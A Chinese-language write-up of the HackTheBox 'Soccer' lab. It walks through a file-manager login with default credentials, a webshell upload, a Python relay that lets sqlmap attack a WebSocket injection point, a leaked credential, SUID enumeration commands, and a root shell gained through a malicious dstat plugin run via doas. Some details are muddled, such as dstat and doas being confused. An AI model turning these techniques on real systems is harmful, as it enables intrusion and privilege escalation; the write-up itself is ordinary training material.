Soccer HTB Writeup
2023-03-03 本文已影响0人
doinb1517
知识点
1、PHP反弹shell
2、关注Nginx下配置文件
3、使用sqlmap加流量转发跑WS协议的sql注入
4、提权
WP
nmap常规扫描,开启了三个服务,ssh,http和9091端口
![](https://img.haomeiwen.com/i17790459/9f83c9ce310398de.png)
访问80端口拿到了域名soccer.htb
![](https://img.haomeiwen.com/i17790459/e35553f95d7424b9.png)
echo 10.10.11.194 soccer.htb >> /etc/hosts
直接访问下80端口
![](https://img.haomeiwen.com/i17790459/9da5b741c4d1b4a2.png)
目录爆破一波
![](https://img.haomeiwen.com/i17790459/f8655b068b594c68.png)
发现目录tiny,访问发现是登陆页面,网上找下关于这个的资料
![](https://img.haomeiwen.com/i17790459/e7955ed7a603440d.png)
找了下相关漏洞,发现了弱密码,尝试登陆居然成功了
link: https://www.exploitalert.com/view-details.html?id=38743
![](https://img.haomeiwen.com/i17790459/f422300e2ffb1203.png)
发现文件上传位置,直接上传一个木马上去,但是uploads目录下的文件会定时删除,所以我们需要反弹个shell出来
![](https://img.haomeiwen.com/i17790459/d43271f36d725724.png)
python3 拿个交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
找到一个用户player
![](https://img.haomeiwen.com/i17790459/79d93dba79a99b99.png)
继续查看nginx配置文件,在允许的域名中看到了一个新的子域名
![](https://img.haomeiwen.com/i17790459/d3bb68c7e4405a42.png)
在http://soc-player.soccer.htb/login
找到一个登陆页面
![](https://img.haomeiwen.com/i17790459/30e3d6e447cac2dd.png)
直接注册账户,使用新注册的账户进入后台,发现一个检查Ticket是否存在的页面
![](https://img.haomeiwen.com/i17790459/0c98d7319a4f7da8.png)
通信是用ws的,同时存在注入问题
![](https://img.haomeiwen.com/i17790459/a94200f456ae4426.png)
![](https://img.haomeiwen.com/i17790459/9de3d01355d06118.png)
网上找了个转发sqlmap请求到ws的python脚本
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
跑出了数据库密码
player:PlayerOftheMatch2022
拿到第一个flag
![](https://img.haomeiwen.com/i17790459/19d8ac4c0b200b2f.png)
尝试sudo提权,没有找到可以利用的
![](https://img.haomeiwen.com/i17790459/7e507ef377cbfd44.png)
查找具有SUID权限位的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
![](https://img.haomeiwen.com/i17790459/526193efb25f1ce5.png)
找到一个程序/usr/local/share/dstat
,网上找了一下可以提权,相当于sudo,默认配置文件在/etc/dstat.cong
但是寻找了一下没有找到,搜寻其他目录
![](https://img.haomeiwen.com/i17790459/dc4c0c5e140eecaa.png)
找到配置文件在./usr/local/etc/doas.conf
,查看文件内容
![](https://img.haomeiwen.com/i17790459/a218dae4abba6266.png)
找到/usr/bin/dstat
,找了下这个文件使用方法,可以直接加载/usr/share/dstat/
目录下的脚本
cd /usr/local/share/dstat/
vim dstat_root.py
import os
os.system('bash -i')
拿到shell,权限是root
![](https://img.haomeiwen.com/i17790459/dffaca563b9b82fc.png)